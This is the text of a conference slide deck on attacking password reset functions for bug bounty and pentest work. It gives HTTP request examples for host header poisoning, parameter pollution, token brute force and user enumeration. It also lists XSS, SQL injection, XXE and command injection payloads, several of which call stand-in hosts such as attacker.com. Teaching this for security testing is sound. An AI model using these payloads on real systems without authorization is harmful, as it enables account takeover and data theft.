Playing With Password Reset Functionality

Talk was part of GrabCon 2021 where I presented how a single functionality like password reset can become a big attack vector for bugbounty hunters and pentesters. Multiple attack scenarios are described in this talk.

Video: https://youtu.be/JTrXOS8N9W0?t=1940

1. PASSWORD RESET FUNCTIONALITY PLAYING WITH - Anugrah SR
2. ANUGRAH S R Cyber Security Analyst at UST Passive bugbounty Hunter Synack Red Team member Connect with me Twitter: @cyph3r_asr | LinkedIn: anugrah-sr | Web: anugrahsr.tech Blog: p1boom.com
3. LOOKING FOR BUGS? Bug Type Functionality Wise XSS SQL Injection SSRF File Upload Functionality Sign In Function Multiple Factor Authentication
4. Spot the Common One!
5. Forgot Password?
6. WHAT IS PASSWORD RESET? If a Web-app have a login, there be a password reset function! In order to implement a proper user management system, systems integrate a Forgot Password service that allows the user to request a password reset.
7. WHAT COULD POSSIBLY GO WRONG HERE RIGHT? Let's see!
8. Me and MAALP found this interesting password reset page OTP
9. WHAT IF? Let's look at the impact FULL ACCOUNT TAKEOVER TOKEN LEAKAGE PARAMETER POLLUTION SQL INJECTION GUESSABLE TOKEN MORE..
10. PASSWORD RESET POISONING If you have a Host Header attack, Request a password with evil host! Websites that handle the value of the Host header in an unsafe way POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: evilhost.com
11. $resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/resetpassword.php?token=12345678-1234-1234..";
12. POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com:@evilhost.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com X-Forwarded-Host: attacker.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com Host: attacker.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com@evilhost.com Lab: https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning
13. ATO: PARAMETER MANIPULATION We can pollute the parameter to get the reset token to attacker email POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com email=victim@email.com&email=attacker@email.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com email=victim@email.com
14. email=victim@email.com%20email=attacker@email.com email=victim@email.com|email=attacker@email.com email="victim@mail.tld%0a%0dcc:attacker@mail.tld" email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" email="victim@mail.tld",email="attacker@mail.tld" {"email":["victim@mail.tld","atracker@mail.tld"]} MORE MANIPULATION
15. RESPONSE MANIPULATION Replace Bad Response With Good One HTTP/1.1 401 Unauthorized (“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”) HTTP/1.1 200 OK (“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
16. TOKEN LEAKAGE IN RESPONSE Check the response to see if the token is leaked in response #Tip: Search the token in burp suite search Add json extension to endpoint, eg: resetpassword.json HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: length { "email" : "victim@gmail.com" , "token" : ****** }
17. RESET TOKEN LEAK VIA REFERER Once you visit the reset token link, click on any third party website eg Facebook Intercept the requst and check the referer header GET /home HTTP/1.1 Host: www.third_party.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://company.com/resetpass?token=123-456-123-456 Origin: https://www.company.com
18. GUESSABLE TOKEN Find out how password reset token is generated like Timestamp , UserID , Email and Weak Cryptography POST /resetPassword HTTP/1.1 Host: www.company.com Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number email=me@gmail.com&token=<UserID-Timestamp>
19. BRUTE FORCE THE TOKEN Find out how password reset token by force! Use IP-Rotate, additional headers etc POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number email=me@gmail.com&token=FUZZ&newpass=DontHackme!
20. IDN HOMOGRAPH ATTACK Create an account with email test@gmail.com.burpcollaborator.net Now generate reset password link for email test@gmáil.com.burpcollaborator.net POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=test@gmáil.com.id.burpcollaborator.net
21. LIST OF PAYLOADS AS EMAIL ADDRESSES test+(<script>alert(0)</script>)@gmail.com test(<script>alert(0)</script>)@gmail.com test@gmail(<script>alert(0)</script>).com "<script>alert(0)</script>"@gmail.com "<%= 7 * 7 %>"@gmail.com test+(${{7*7}})@gmail.com "' OR 1=1 -- '"@gmail.com "test); DROP TABLE users;--"@gmail.com test@[id.collaborator.net] %@gmail.com
22. XSS Test for XSS with test@gmail.com"><script>alert(document.domain)</script> payload GET /resetPassword?email=test@gmail.com"><script>alert(document.domain)</script> HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com
23. GET /resetPassword?email=me@gmail.com'%2b(select*from(select(sleep(20)))a)%2b' HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0, sunil Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com TIME BASED SQL INJECTION
24. OS COMMAND INJECTION Reset password with email test@`whoami`.id.burpcollaborator.net POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=test@`whoami`.id.collaborator.net
25. HTML INJECTION IN MAIL Find out for other parameters by using Param-miner Look if any parameter is reflected in received email, test for html injection or text injection. POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=victim@gmail.com&parameter=<img src=\"http://attacker.com/?id=
26. IDOR Test with your reset token and victim's email id/User-Id. POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=attacker@email.com&token=<Your-Token> POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number UserID=victim@email.com&token=<Your-Token>
27. XXE If password reset endpoint supports both json and xml Use Content Type Converter extension to change from json to xml, add your payload POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE a [<!ENTITY % asd SYSTEM "http://attacker.com/XXE.dld">%asd;%c;]> <root>%rrr;<old>*****</old><new>*****</new></root>
28. MFA AUTO DISABLING Sometimes MFA are auto-disabled after Password reset is done Enable 2FA Logout Password Reset 2FA is auto disabled
29. SESSION EXPIRATION Test for insufficient session expiration after password change Open account in two different browsers In browser1 reset the password See if the session is expired in browser2
30. USER ENUMERATION Enumerate username/email id based on difference in response by the webapp invalid email/username : user doesn't exist valid email/username: Password reset link is send to your email
31. MISSING RATELIMITING Email bombing! send the password reset request to intruder start the attack Look at the choas you created in victim's email account Tip: victim+1@gmail.com
32. RE USABLE TOEKN Check if the token can be reused, if it's expired. Request password reset Dont use the link change the email address to a new email in account settings See if old token can be used
33. RESOURCES 10 Password Reset Flaws Anugrah SR Blog ATO Password Reset Mahmoud M. Awali Slides Common Vulnerabilities In Forget Password Harsh Bothra MindMap
34. YOU'RE ONLY AS STRONG AS YOUR PASSWORD!
35. THANKS FOR LISTENING TO ME! Twitter @cyph3r_asr LinkedIn @anugrah-sr